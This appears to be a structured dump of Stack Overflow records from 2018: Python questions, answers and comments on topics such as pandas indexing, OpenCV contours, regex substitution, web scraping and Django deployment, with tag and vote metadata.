has body: I want to end a while loop with a keypad stroke but for some reason the loop completely skips over the msvcrt part of the loop that would do that. Is there possibly a better way to do this without having to download any libraries? Code: import datetime import time import msvcrt # import cv2 # from datetime import date, time while True: # if msvcrt.kbhit() and msvcrt.getch() == chr(27).encode(): # break name = input('\n' + "What is your name?") input('\n' + "Press any key to start the stopwatch") startTime = datetime.datetime.now() input('\n' + "Press any key to stop the stopwatch") endTime = datetime.datetime.now() time_out = ('\n' + "Time Out: " + str(endTime-startTime)) print(time_out) student_out = ("Student Out: " + str(name)) print(student_out) time_released = ("Time Released: " + str(startTime)) print(time_released) time_back = ("Time Back: " + str(endTime)) print(time_back) if msvcrt.kbhit() and msvcrt.getch() == chr(27).encode(): break
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/86214925
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86197046
has comment: http://stackoverflow.com/comment/86215480
linked to: http://stackoverflow.com/q/5137238
score: 0

http://stackoverflow.com/comment/85968022
type: Comment
comment on: http://stackoverflow.com/q/49480251
has text: The link is working fine for me, and I'm not about to manually write out a 400 character error message.
score: 0
type: QuestionComment

http://stackoverflow.com/a/51881788
answers question: http://stackoverflow.com/q/49482586
type: Answer
has body: I found this worked for me. I'm using PyCharm Community 2018.1.4 on Windows. Navigate to: File->Settings->Project: [project name] -> Project Interpreter On this page click the configuration wheel at the top which should provide a drop down menu. Click "Add" and a window should appear called "Add Python Interpreter" You will be defaulted onto "Virtualenv Environment" tab. There should be a checkbox called "Inherit global site-packages". Check this. Click OK. All your installed packages should be added.
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/49516503
has body: Apart from the fact that the name of your variables is slightly frightening, why don't you have a break condition for the outer loop ? It seems you are breaking out of the inner one correctly, but you don't have any code that breaks out of the outer (first line in your code)
answers question: http://stackoverflow.com/q/49516439
score: 3
type: Answer
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/86150057
has text: I think an example input/output would be great here. What you're asking for (passing an argument to a decorator) is possible, but your example use above is odd. `to_decorator` won't be initialised at this point, and it's unclear what you're expecting this to do.
comment on: http://stackoverflow.com/q/49571202
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49573758
has title: Urllib does not return the requested content
type: AnsweredQuestion
downvote count: 0
tagged with: web-scraping
upvote count: 1
has comment: http://stackoverflow.com/comment/86156538
score: 1
tagged with: python-requests
answer count: 1
favorite count: 0
tagged with: beautifulsoup
type: Question
accepted answer: http://stackoverflow.com/a/49575418
tagged with: python
has body: I have two a pages that I would like to scrap: url_1 and url_2 The only difference between them it's that url_1 is the first page while url_2 is the third page of the same domain. I am using urrlib to read the urls: from urllib.request import urlopen html_1 = urlopen(url_1).read() html_2 = urlopen(url_2).read() Unfortunately html_2 has the same content as html_1. Reading around, I found out that maybe this is happening because the server sees me as a bot. For that reason, I am using the request module the Beautiful Soup to parse the pages: import requests from bs4 import BeautifulSoup session = requests.Session() headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5)AppleWebKit 537.36 (KHTML, like Gecko) Chrome", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"} req_1 = session.get(url_1, headers=headers) bsObj_1 = BeautifulSoup(req_1.text) req_2 = session.get(url_2, headers=headers) bsObj_2 = BeautifulSoup(req_2.text) Still the content is the same. How can I fix it?
has comment: http://stackoverflow.com/comment/86156414
has answer: http://stackoverflow.com/a/49575418
linked to: http://stackoverflow.com/q/23853748
has comment: http://stackoverflow.com/comment/86156458
tagged with: urllib2

http://stackoverflow.com/a/49540613
has comment: http://stackoverflow.com/comment/86088780
answers question: http://stackoverflow.com/q/49540508
score: 2
type: AcceptedAnswer
downvote count: 0
upvote count: 2
has body: This has nothing to do with floating-point precision. The arrays you're generating wouldn't sum to 1 even with infinite-precision real number arithmetic. An infinite series generated similarly would sum to 1, but your arrays stop at 5 elements instead of going on forever. Simple exponential smoothing does not arbitrarily stop at 5 elements. It's often reasonable to apply a cutoff for elements far enough in the past that their weights are tiny, but stopping at 5 for every alpha with no normalization will produce unreasonable results.
type: Answer
accepted answer of: http://stackoverflow.com/q/49540508

http://stackoverflow.com/comment/85910629
comment on: http://stackoverflow.com/a/49453716
type: AnswerComment
score: 0
type: Comment
has text: Tried "from tkinter import *" as well as "from Tkinter import *" to no avail. I am using python3.6

http://stackoverflow.com/q/49533495
score: 0
has comment: http://stackoverflow.com/comment/86075603
has answer: http://stackoverflow.com/a/49533946
has comment: http://stackoverflow.com/comment/86073455
has title: Class initialization in exposed method using *args and **kwargs vs. using make function
accepted answer: http://stackoverflow.com/a/49533946
type: AnsweredQuestion
tagged with: interface
has body: I am working on a method that collects (statistical) information on three quantities (called A, B and C here for simplicity) by looking through certain contents of one or more files. The whole thing is more or less equivalent to the following piece of code: def get_statistics(self, file, some_option = True): A_list = list() B_list = list() C_list = list() with open(file, 'r') as f: for line in f: A, B, C = self._analyze(line, some_option) A_list.append(A) B_list.append(B) C_list.append(C) return A_list, B_list, C_list This is easy to understand and works fine (except that maybe you'd want to point out that repeated appending ist not so efficient, but that's not the point of the question) but has the disadvantage of producing huge lists A_list, B_list and C_list. In fact, when looping over several files, the lists may become so large that I need to worry if they fit into memory without causing problems. Typically, the user of this method will not be interested in the full data set, however, but will only need some statistical information. Maybe the user only wants mean and variance of the quantities or is interested in plotting a histogram to visualize the data. Well, easy enough, let's just modify the signature of the method and allow for providing custom classes to collect the data of interest. I will only interact with these classes by calling their append() method and the user can decide what that method does. For instance, it could just sum all incoming values and count their number to calculate the mean when needed. My modified method might look like this: def get_statistics(self, file, some_option = True, A_cls = list, B_cls = list, C_cls = list): A_store = A_cls() B_store = B_cls() C_store = C_cls() ... return A_store, B_store, C_store This approach gives the user flexibility to decide, how much of the potentially huge dataset shall be stored. If the arguments of A_cls, B_cls and C_cls are omitted, the functionality of my first method is restored. Now conside…
tagged with: python
has comment: http://stackoverflow.com/comment/86073660
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/86074918

http://stackoverflow.com/comment/86116575
comment on: http://stackoverflow.com/q/49554622
score: 0
type: QuestionComment
has text: Check that `pip` is in your `PATH` environment. If it is, just type `pip install pandas`in your terminal. If it's not just look up how to add it. Is there a reason you are using Python3.4 ?
type: Comment

python-3.x
tags question: http://stackoverflow.com/q/49452454
tags question: http://stackoverflow.com/q/49466238
tags question: http://stackoverflow.com/q/49581168
tags question: http://stackoverflow.com/q/49560894
tags question: http://stackoverflow.com/q/49538705
tags question: http://stackoverflow.com/q/49475401
tags question: http://stackoverflow.com/q/49585510
tags question: http://stackoverflow.com/q/49472910
tags question: http://stackoverflow.com/q/49566862
tags question: http://stackoverflow.com/q/49592864
tags question: http://stackoverflow.com/q/49544690
tags question: http://stackoverflow.com/q/49533149
tags question: http://stackoverflow.com/q/49528695
tags question: http://stackoverflow.com/q/49541513
tags question: http://stackoverflow.com/q/49440566
tags question: http://stackoverflow.com/q/49551655
tags question: http://stackoverflow.com/q/49494160
tags question: http://stackoverflow.com/q/49458203
tags question: http://stackoverflow.com/q/49455742
tags question: http://stackoverflow.com/q/49479603
tags question: http://stackoverflow.com/q/49472108
tags question: http://stackoverflow.com/q/49540922
tags question: http://stackoverflow.com/q/49522689
tags question: http://stackoverflow.com/q/49553357
tags question: http://stackoverflow.com/q/49500122
tags question: http://stackoverflow.com/q/49539293
tags question: http://stackoverflow.com/q/49501620
tags question: http://stackoverflow.com/q/49462071
tags question: http://stackoverflow.com/q/49467060
tags question: http://stackoverflow.com/q/49484203
tags question: http://stackoverflow.com/q/49445954
tags question: http://stackoverflow.com/q/49572891
tags question: http://stackoverflow.com/q/49467994
tags question: http://stackoverflow.com/q/49589983
tags question: http://stackoverflow.com/q/49579388
tags question: http://stackoverflow.com/q/49593964
tags question: http://stackoverflow.com/q/49477836
tags question: http://stackoverflow.com/q/49589497
tags question: http://stackoverflow.com/q/49443607
tags question: http://stackoverflow.com/q/49470450
tags question: http://stackoverflow.com/q/49535519
tags question: http://stackoverflow.com/q/49441403
tags question: http://stackoverflow.com/q/49543366
tags question: http://stackoverflow.com/q/49490450
tags question: http://stackoverflow.com/q/49440984
tags question: http://stackoverflow.com/q/49539057
tags question: http://stackoverflow.com/q/49575353
tags question: http://stackoverflow.com/q/49561868
tags question: http://stackoverflow.com/q/49476888
tags question: http://stackoverflow.com/q/49469251
tags question: http://stackoverflow.com/q/49575005
tags question: http://stackoverflow.com/q/49537604
tags question: http://stackoverflow.com/q/49474782
tags question: http://stackoverflow.com/q/49541927
tags question: http://stackoverflow.com/q/49457382
tags question: http://stackoverflow.com/q/49563728
tags question: http://stackoverflow.com/q/49542777
tags question: http://stackoverflow.com/q/49445129
tags question: http://stackoverflow.com/q/49459277
tags question: http://stackoverflow.com/q/49560974
tags question: http://stackoverflow.com/q/49571999
tags question: http://stackoverflow.com/q/49483096
tags question: http://stackoverflow.com/q/49558044
tags question: http://stackoverflow.com/q/49492008
tags question: http://stackoverflow.com/q/49440330
tags question: http://stackoverflow.com/q/49541052
tags question: http://stackoverflow.com/q/49491012
tags question: http://stackoverflow.com/q/49575466
tags question: http://stackoverflow.com/q/49590628
tags question: http://stackoverflow.com/q/49440525
tags question: http://stackoverflow.com/q/49580953
tags question: http://stackoverflow.com/q/49592890
tags question: http://stackoverflow.com/q/49563207
tags question: http://stackoverflow.com/q/49588966
tags question: http://stackoverflow.com/q/49575741
tags question: http://stackoverflow.com/q/49471345
tags question: http://stackoverflow.com/q/49474692
tags question: http://stackoverflow.com/q/49495244
tags question: http://stackoverflow.com/q/49451937
tags question: http://stackoverflow.com/q/49578801

http://stackoverflow.com/comment/86089444
score: 2
comment on: http://stackoverflow.com/q/49538350
type: Comment
type: QuestionComment
has text: @Aran-Fey The other question asks for a _simple_ way to do it. This question asks for a more efficient approach, and has the algorithm tag. I don't think they are duplicates either way. Folks can golf their favorite O(n^2) over on the other question.

http://stackoverflow.com/q/49468221
tagged with: pandas
score: 0
has comment: http://stackoverflow.com/comment/85939083
has comment: http://stackoverflow.com/comment/85939665
possible better answer: http://stackoverflow.com/a/49468477
has body: In pandas this operation creates a Series: q7.loc[:, list(q7)].max(axis=1) - q7.loc[:, list(q7)].min(axis=1) I would like to be able to set the index as a list of values from a df colum. Ie list(df['Colname']) I've tried to create the series then update it with the series generated from the first code snippet. I've also searched the docs and don't see a method that will allow me to do this. I would prefer not to manually iterate over it. Help is appreciated.
has title: How can I set the index of a generated pandas Series to a column from a DataFrame?
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/85939186
has comment: http://stackoverflow.com/comment/85939733
has comment: http://stackoverflow.com/comment/85938903
tagged with: python
has comment: http://stackoverflow.com/comment/85939325
accepted answer: http://stackoverflow.com/a/49468586
has answer: http://stackoverflow.com/a/49468477
tagged with: indexing
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49468586

http://stackoverflow.com/q/49544444
has answer: http://stackoverflow.com/a/49544524
accepted answer: http://stackoverflow.com/a/49544524
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/49544590
has body: def p_sequence(): length = int(input("Sequence length: ")) a = 0 b = 1 for i in range(length): c = 2*b+a a = b b = c print(b, "", end = "") print() I'm trying to create a pell function that's non-recursive and I'm stuck. The output that I want is: length = 4 Output: 0 1 2 5 What I get: length = 4 Output: 2 5 12 29 I tried putting if statements in the for loop but it didn't work out either... help?
has comment: http://stackoverflow.com/comment/86096743
tagged with: python
has title: Non recursive pell function python
type: AnsweredQuestion
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49544590

http://stackoverflow.com/comment/85915986
score: 0
type: Comment
has text: So each child is creating a new barrier and trying to add it (overwriting any existing attribute of the same name from earlier-started children) to each already-started child? Yeah, that's not going to work.
type: QuestionComment
comment on: http://stackoverflow.com/q/49456276

timezone
tags question: http://stackoverflow.com/q/49476646
tags question: http://stackoverflow.com/q/49572797
type: Tag
tag name: timezone
tags question: http://stackoverflow.com/q/49547230
tags question: http://stackoverflow.com/q/49440018

http://stackoverflow.com/comment/86047964
comment on: http://stackoverflow.com/q/49520989
type: Comment
type: QuestionComment
has text: Building on Paul's comment, how do you handle the case of multiple matches? We see that `[25, 28]` is found in both rows 0 and 1.
score: 0

http://stackoverflow.com/comment/86174591
has text: If you are going to specify a `departure_time` for requests to the Distance Matrix API, it needs to be in the future, not the past, as per the [documentation](https://developers.google.com/maps/documentation/distance-matrix/intro#departure-time). So your requests would have to omit the date/time info.
comment on: http://stackoverflow.com/q/49583135
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/49508986
answer count: 1
tagged with: python
score: 4
favorite count: 0
type: AnsweredQuestion
tagged with: datetime
has answer: http://stackoverflow.com/a/49511047
accepted answer: http://stackoverflow.com/a/49511047
has title: How to convert incomplete and BC Wikidata dates to timestamp?
has comment: http://stackoverflow.com/comment/86022836
tagged with: date
upvote count: 4
has body: The Wikidata date format looks like this: +2018-03-26T00:00:00Z So if Douglas Adams was born on +1952-03-11T00:00:00Z Then I can use Python to get the timestamp like this: from datetime import datetime from dateutil.parser import parse datestring = '+1952-03-11T00:00:00Z' dt_obj = parse(datestring[1:]) print(dt_obj.timestamp()) &gt;&gt;&gt; -562032000.0 As you can see here I cannot use the + - value, which indicates that the date in AD or BC. Moreover, I cannot work with an incomplete date: For example Genghis Khan +1162-00-00T00:00:00Z(day and month missing) And dates in BC that are also incomplete: Plato -0427-00-00T00:00:00Z
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86023060
linked to: http://stackoverflow.com/q/32161570
downvote count: 0
linked to: http://stackoverflow.com/q/15857797

http://stackoverflow.com/comment/86070032
comment on: http://stackoverflow.com/q/49516102
type: Comment
type: QuestionComment
score: 0
has text: I have mentioned my code in my question, don't know what else code you are asking about

http://stackoverflow.com/a/49485142
score: 1
downvote count: 0
upvote count: 1
has body: You can try : string_list = ['www.cars.com/BMW/' ,'www.cars.com/VW/'] tuple_list = [('BMW','green'), ('BMW','blue'), ('VW','black'), ('VW','red'), ('VW','yellow')] print([color+i[1] for i in tuple_list for color in string_list if i[0] in color]) output: ['www.cars.com/BMW/green', 'www.cars.com/BMW/blue', 'www.cars.com/VW/black', 'www.cars.com/VW/red', 'www.cars.com/VW/yellow']
type: Answer
answers question: http://stackoverflow.com/q/49483429

http://stackoverflow.com/comment/86029863
type: AnswerComment
comment on: http://stackoverflow.com/a/49512583
has text: Please accept ans if it solved your problem. And I am looking at the que if I can solve your problem.
score: 0
type: Comment

http://stackoverflow.com/q/49582008
tagged with: contour
has body: I have this image: What I am trying to do is to detect the center of mass of the inner contour (number 3) inside it. This is the code I have right now: import cv2 import numpy as np im = cv2.imread("three.png") imgray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY) ret, thresh = cv2.threshold(imgray, 127, 255, 0, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU) _, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE) cnts = cv2.drawContours(im, contours[1], -1, (0, 255, 0), 1) cv2.imshow('number_cnts', cnts) cv2.imwrite('number_cnts.png', cnts) m = cv2.moments(cnts[0]) cx = int(m["m10"] / m["m00"]) cy = int(m["m01"] / m["m00"]) cv2.circle(im, (cx, cy), 1, (0, 0, 255), 3) cv2.imshow('center_of_mass', im) cv2.waitKey(0) cv2.imwrite('center_of_mass.png', cnts) This is the (wrong..) result: Why the center of mass has been draw in the left part of the image instead of in the (more or less) center ? Any solution to this ?
answer count: 1
tagged with: python
score: 4
tagged with: opencv
type: AnsweredQuestion
has title: Center of mass in contour (Python, OpenCV)
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49582388
accepted answer: http://stackoverflow.com/a/49582388
upvote count: 5

http://stackoverflow.com/q/49502937
tagged with: python
has answer: http://stackoverflow.com/a/50835260
favorite count: 0
score: 8
type: Question
has answer: http://stackoverflow.com/a/70616020
upvote count: 8
type: UnansweredQuestion
downvote count: 0
tagged with: django
tagged with: django-rest-framework
has body: I am running a Django restserver application served by Daphne and Nginx acting as reverse proxy. I also have a periodic cron job that pulls updated code from my git to the server. I am not able to find a way to do a hot reload and regenerate the pyc files like it how it does in Django development server. Is there a good way to go about this? Don't want to restart my entire server for this.
tagged with: rest
answer count: 3
has title: Django + Daphne hot reload after code updates
has answer: http://stackoverflow.com/a/78266475
tagged with: daphne

http://stackoverflow.com/comment/86204155
type: Comment
type: QuestionComment
has text: @Aran-Fey I don't want the matrix to look glued to the left side of the terminal, I'd like to add a few spaces in front of each row. I meant I want to see the matrix "centered" in the terminal, not perfectly of course, just not aligned to the left.
score: 0
comment on: http://stackoverflow.com/q/49598465

http://stackoverflow.com/a/49503009
has comment: http://stackoverflow.com/comment/86042250
answers question: http://stackoverflow.com/q/49502895
has comment: http://stackoverflow.com/comment/86037106
has comment: http://stackoverflow.com/comment/86034941
has body: your interested text is at the second table, tr, td, second b tag text. You can easily change below code to what you want. html_table = page_soup.findAll("table")[1] # second table. html_trs = html_table.findAll("tr") for tr in html_trs: html_tds = tr.findAll("td") for td in html_tds: html_bs = td.findAll("b") loctext = html_bs[1].text # second b loctext = loctext.lstrip() print("loctext=", loctext)
score: 0
type: Answer

http://stackoverflow.com/q/49588021
has title: Selenium: Getting ultimate href/link without clicking on it when it's a javascript call
has body: I am webscraping a long table of html links (allowed under ToS). However, all the links are javascript calls (href="javascript:;") so using get_attribute() to get the link will not work. I don't want to actually click on all the links since it will download a large pdf file for each one Is it possible to get the ultimate href/link that is called, without actually clicking the link and downloading the file? Thank you!
upvote count: 1
type: UnansweredQuestion
downvote count: 0
answer count: 1
tagged with: selenium
tagged with: javascript
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86205339
score: 1
has comment: http://stackoverflow.com/comment/86218491
tagged with: python
linked to: http://stackoverflow.com/q/7755088
has answer: http://stackoverflow.com/a/49588170

http://stackoverflow.com/q/49468784
score: 7
tagged with: python
tagged with: regex
linked to: http://stackoverflow.com/q/24534782
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49468926
accepted answer: http://stackoverflow.com/a/49468927
has answer: http://stackoverflow.com/a/59359500
has comment: http://stackoverflow.com/comment/85941544
downvote count: 0
has answer: http://stackoverflow.com/a/49468927
has answer: http://stackoverflow.com/a/49469330
upvote count: 7
has title: Variable-length replacement with `re.sub()`
has answer: http://stackoverflow.com/a/49469068
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85940394
linked to: http://stackoverflow.com/q/14447818
has body: I would like to replace all occurrences of 3 or more "=" with an equal-number of "-". def f(a, b): ''' Example ======= &gt;&gt;&gt; from x import y ''' return a == b becomes def f(a, b): ''' Example ------- &gt;&gt;&gt; from x import y ''' return a == b # don't touch My working but hacky solution is to pass a lambda to repl from re.sub() that grabs the length of each match: &gt;&gt;&gt; import re &gt;&gt;&gt; s = """ ... def f(a, b): ... ''' ... Example ... ======= ... &gt;&gt;&gt; from x import y ... ''' ... return a == b""" &gt;&gt;&gt; eq = r'(={3,})' &gt;&gt;&gt; print(re.sub(eq, lambda x: '-' * (x.end() - x.start()), s)) def f(a, b): ''' Example ------- &gt;&gt;&gt; from x import y ''' return a == b Can I do this without needing to pass a function to re.sub()? My thinking would be that I'd need r'(=){3,}' (a variable-length capturing group), but re.sub(r'(=){3,}', '-', s) has a problem with greediness, I believe. Can I modify the regex eq above so that the lambda isn't needed?
answer count: 5
has comment: http://stackoverflow.com/comment/85940257
has answer: http://stackoverflow.com/a/49468926

http://stackoverflow.com/comment/86226945
type: Comment
type: QuestionComment
score: 0
has text: Did you try my suggestion and do you confirm this works for you?
comment on: http://stackoverflow.com/q/49581662

http://stackoverflow.com/comment/86078526
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49535982
has text: Your code behaves correctly - it is printing the first element of your tuple as you say.

http://stackoverflow.com/comment/86164633
has text: @abarnert I am considering the step before saving. I need to ensure that the values that have been input by a user are appropriate before they can be used to update the existing configuration. That means that attempting to convert automatically to the appropriate type should throw an exception.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49578073
type: QuestionComment

http://stackoverflow.com/q/49593797
has answer: http://stackoverflow.com/a/49593821
tagged with: data-mining
score: 1
tagged with: scikit-learn
has answer: http://stackoverflow.com/a/49594041
downvote count: 1
favorite count: 0
type: Question
tagged with: python
type: UnansweredQuestion
has body: If I have a dataframe, say df, and if df["levels"] = pd.Series(["low", "low", "med", "low", "med", "high"]) Is there a way to change this to be: df["levels"] = pd.Series([0,0,1,0,1,2]) I've tried using preprocessing.LabelEncoder() to transform this, but it simply collapses into [0,1,2]. I know I can just do this with for loops, but it would be great if there were some tool already out there to do this Any help is appreciated!
has comment: http://stackoverflow.com/comment/86217637
answer count: 2
has title: Using sklearn's LabelEncoder on a column of a dataframe
upvote count: 2
tagged with: pandas

http://stackoverflow.com/comment/86013337
type: QuestionComment
has text: I fixed it by adding text="" to the class as a class variable. Is that needed??
comment on: http://stackoverflow.com/q/49504611
score: 0
type: Comment

http://stackoverflow.com/q/49478142
score: 2
upvote count: 2
has body: I have trained and saved a model with doc2vec in colab as model = gensim.models.Doc2Vec(vector_size=size_of_vector, window=10, min_count=5, workers=16,alpha=0.025, min_alpha=0.025, epochs=40) model.build_vocab(allXs) model.train(allXs, epochs=model.epochs, total_examples=model.corpus_count) The model is saved in a folder not accessible from my drive but which I can see as: from os import listdir from os.path import isfile, getsize from operator import itemgetter files = [(f, getsize(f)) for f in listdir('.') if isfile(f)] files.sort(key=itemgetter(1), reverse=True) for f, size in files: print ('{} {}'.format(size, f)) print ('({} files {} total size)'.format(len(files), sum(f[1] for f in files))) The output is: 79434928 Model_after_train.docvecs.vectors_docs.npy 9155086 Model_after_train 1024 .rnd (3 files 88591038 total size) To move the two files in the same shared directory as the notebook folder_id = FolderID for f, size in files: if 'our_first_lda' in f: file = drive.CreateFile({'parents':[{u'id': folder_id}]}) file.SetContentFile(f) file.Upload() The problem that I am facing now are two: 1) gensim creates two files when saving the model. Which one should I load? 2) when I try to load a file or the other with: from pydrive.auth import GoogleAuth from pydrive.drive import GoogleDrive from google.colab import auth from oauth2client.client import GoogleCredentials # 1. Authenticate and create the PyDrive client. auth.authenticate_user() gauth = GoogleAuth() gauth.credentials = GoogleCredentials.get_application_default() drive = GoogleDrive(gauth) from googleapiclient.discovery import build drive_service = build('drive', 'v3') file_id = FileID import io from googleapiclient.http import MediaIoBaseDownload request = drive_service.files().get_media(fileId=file_id) downloaded = io.BytesIO() downloader = MediaIoBaseDownload(downloaded, request) done = False while done is False: _, done = downloader.next_chunk() model = doc2vec.Doc2Vec.load(downloaded.read()) I am not a…
answer count: 1
downvote count: 0
has title: Load a saved Doc2Vec model in Colab
has answer: http://stackoverflow.com/a/49484450
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: doc2vec
tagged with: python
tagged with: gensim
tagged with: google-colaboratory

http://stackoverflow.com/comment/86029430
comment on: http://stackoverflow.com/q/49512206
score: 0
has text: :) ok, this is my first post, sorry. I've pasted the similar function and a sample of 2 lists. You should be able to replicate now
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86050442
comment on: http://stackoverflow.com/q/49521660
type: Comment
has text: @MaxU no. Only one version being used.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/85945478
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49471442
type: Comment
has text: `df.loc[df.country == 'Brazil', 'country'].count()`

http://stackoverflow.com/q/49475258
tagged with: tensorflow
type: Question
has comment: http://stackoverflow.com/comment/85954498
has body: batch_size=1 NUM_HIDDEN=80 NUM_LAYERS=4 learning_rate=0.001 NUM_EPOCH=200 max_placeholder=tf.placeholder(dtype=tf.int32) input_tensor=tf.placeholder(dtype=tf.float32,shape=[None,None,40]) input_tensor_4d=tf.reshape(input_tensor,shape=[-1,max_placeholder,40,1]) sequence_length=tf.placeholder(dtype=tf.int32,shape=[None]) training_placeholder=tf.placeholder(dtype=tf.bool) label_placeholder=tf.sparse_placeholder(dtype=tf.int32) conv1=tf.layers.conv2d(input_tensor_4d,filters=64,kernel_size=[3,3],strides=(1,1),padding='same',name='conv1',kernel_initializer=tf.initializers.variance_scaling()) batch_norm1=tf.layers.batch_normalization(conv1,training=training_placeholder,name='batch_norm1') conv1_activation=tf.nn.relu(batch_norm1,name='conv1_activation') conv1_max_pool=tf.layers.max_pooling2d(conv1_activation,padding='same',pool_size=(2,2),strides=(1,1),name='conv1_max_pool') conv2=tf.layers.conv2d(conv1_max_pool,filters=32,kernel_size=[3,3],strides=(1,1),padding='same',name='conv2',kernel_initializer=tf.initializers.variance_scaling()) batch_norm2=tf.layers.batch_normalization(conv2,training=training_placeholder,name='batch_norm2') conv2_activation=tf.nn.relu(batch_norm2,name='conv2_activation') conv2_max_pool=tf.layers.max_pooling2d(conv2_activation,padding='same',pool_size=(2,2),strides=(1,1),name='conv2_max_pool') rnn_input=tf.reshape(conv2_max_pool,shape=[-1,max_placeholder,40*32]) cell_fw=[tf.contrib.rnn.LSTMCell(NUM_HIDDEN, state_is_tuple=True,initializer=tf.initializers.variance_scaling()) for _ in range(NUM_LAYERS)] cell_bw=[tf.contrib.rnn.LSTMCell(NUM_HIDDEN, state_is_tuple=True,initializer=tf.initializers.variance_scaling()) for _ in range(NUM_LAYERS)] rnn_output,_,_=tf.contrib.rnn.stack_bidirectional_dynamic_rnn(cell_fw,cell_bw,rnn_input,sequence_length=sequence_length,dtype=tf.float32) fully_connected=tf.contrib.layers.fully_connected(rnn_output,28,activation_fn=tf.nn.relu) fully_connected_transpose = tf.transpose(fully_connected, (1, 0, 2)) loss=tf.nn.ctc_loss(…
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85953198
tagged with: machine-learning
has title: Model is not able to over-fit even a single audio file after 200 epochs
tagged with: speech-recognition
score: 0
tagged with: python
tagged with: recurrent-neural-network
has comment: http://stackoverflow.com/comment/86021279

http://stackoverflow.com/comment/85934419
comment on: http://stackoverflow.com/a/49465762
has text: This what the solution I was looking for. Thank you!
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/49480261
has comment: http://stackoverflow.com/comment/85963794
has comment: http://stackoverflow.com/comment/85963638
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/85963878
has comment: http://stackoverflow.com/comment/85963826
upvote count: 1
has comment: http://stackoverflow.com/comment/85963557
answers question: http://stackoverflow.com/q/49480217
has body: Generally it is a bad idea to hold sensitive information in the code. There is no uniformly the best way to do it, but common practices to store credentials include: in a separate code file not in your code base (local_settings.py, added to .gitignore) in a separate config file outside of the project (e.g. json or yml) environment variables (read using os.environ) command line parameters request as user input a combination of all above
score: 1
accepted answer of: http://stackoverflow.com/q/49480217
type: Answer
has comment: http://stackoverflow.com/comment/85963750
has comment: http://stackoverflow.com/comment/85964164

http://stackoverflow.com/comment/86194282
type: QuestionComment
comment on: http://stackoverflow.com/q/49592463
score: 0
has text: @CharlesDuffy, what is stopping me is that I cannot get a .py file to be generated. I don't know which argument to use in the following: open(new_file_name_string,"w+"). Should I use ".py" instead of "w+"? Or is this even possible with the "open" function. I am not concerned about security because this is just for a school project and will make my life a lot easier
type: Comment

http://stackoverflow.com/a/49495150
type: Answer
has comment: http://stackoverflow.com/comment/86000472
answers question: http://stackoverflow.com/q/49494946
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/85995296
has comment: http://stackoverflow.com/comment/86017176
has body: https://docs.python.org/2.4/lib/socket-example.html Start server on your machine 1 Start client on your machine 2 Make sure they are connected to the same network and you can ping one machine from the other. Be sure you use the port which is open for such connectivity purpose.

http://stackoverflow.com/comment/85917351
score: 0
type: AnswerComment
has text: You seem to run at least python 3.5. I tried with python 2, and there, -u with your code did make a difference.
comment on: http://stackoverflow.com/a/49457149
type: Comment

http://stackoverflow.com/q/49454531
linked to: http://stackoverflow.com/q/2936914
has title: pygame.mixer.music approximately 50% of time works
tagged with: python
duplicate of: http://stackoverflow.com/q/2936914
tagged with: pygame
tagged with: raspberry-pi
answer count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: raspberry-pi3
score: 1
downvote count: 1
has body: class Music(): def __init__(self, source): self.source = source self.clock = pygame.time.Clock() self.quit = False pygame.mixer.init() pygame.display.set_mode((200, 100)) pygame.mixer.music.load(self.source) def play(self): pygame.mixer.music.play(0) pygame.mixer.music.set_endevent(pygame.USEREVENT) self.clock.tick(10) while not self.quit: try: pygame.event.poll() self.clock.tick(10) except KeyboardInterrupt: pygame.mixer.music.stop() exit() music = Music("music.mp3") music.play() I'm new to Python. The code will run. However the music sometimes doesn't play. 1st run: Play 2nd run: Play 3rd run: No sound 4th run: No sound 5th run: Play 6th run: Play 7th run: Play 8th run: No sound 9th run: No sound 10th run: Play Hope you got what I mean, it is not consistent, sometime it works, sometimes don't. I remember there was one time that when I leave the no sound running, suddenly it got sounds. It's kind of weird.
favorite count: 0
type: Question

http://stackoverflow.com/a/49456615
has comment: http://stackoverflow.com/comment/85955513
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/85939681
has body: Assuming that your rest of the code works well and all you need is just to update the obtained values into the database , the first thing you need to do is to create a table before the for loop , cursor.execute("CREATE TABLE &lt;table-name&gt;(coursename varchar(255),time varchar(255));") Once you've got the table ready , you can insert the values into the table, just by adding an INSERT statement inside the for loop where you are printing the values now for race, time in zip(races,times): print(race + ': ' + time) cursor.execute("INSERT INTO &lt;table-name&gt; VALUES(%s,%s);,(race,time)")
accepted answer of: http://stackoverflow.com/q/49456006
type: Answer
answers question: http://stackoverflow.com/q/49456006

http://stackoverflow.com/comment/85977347
type: AnswerComment
score: 0
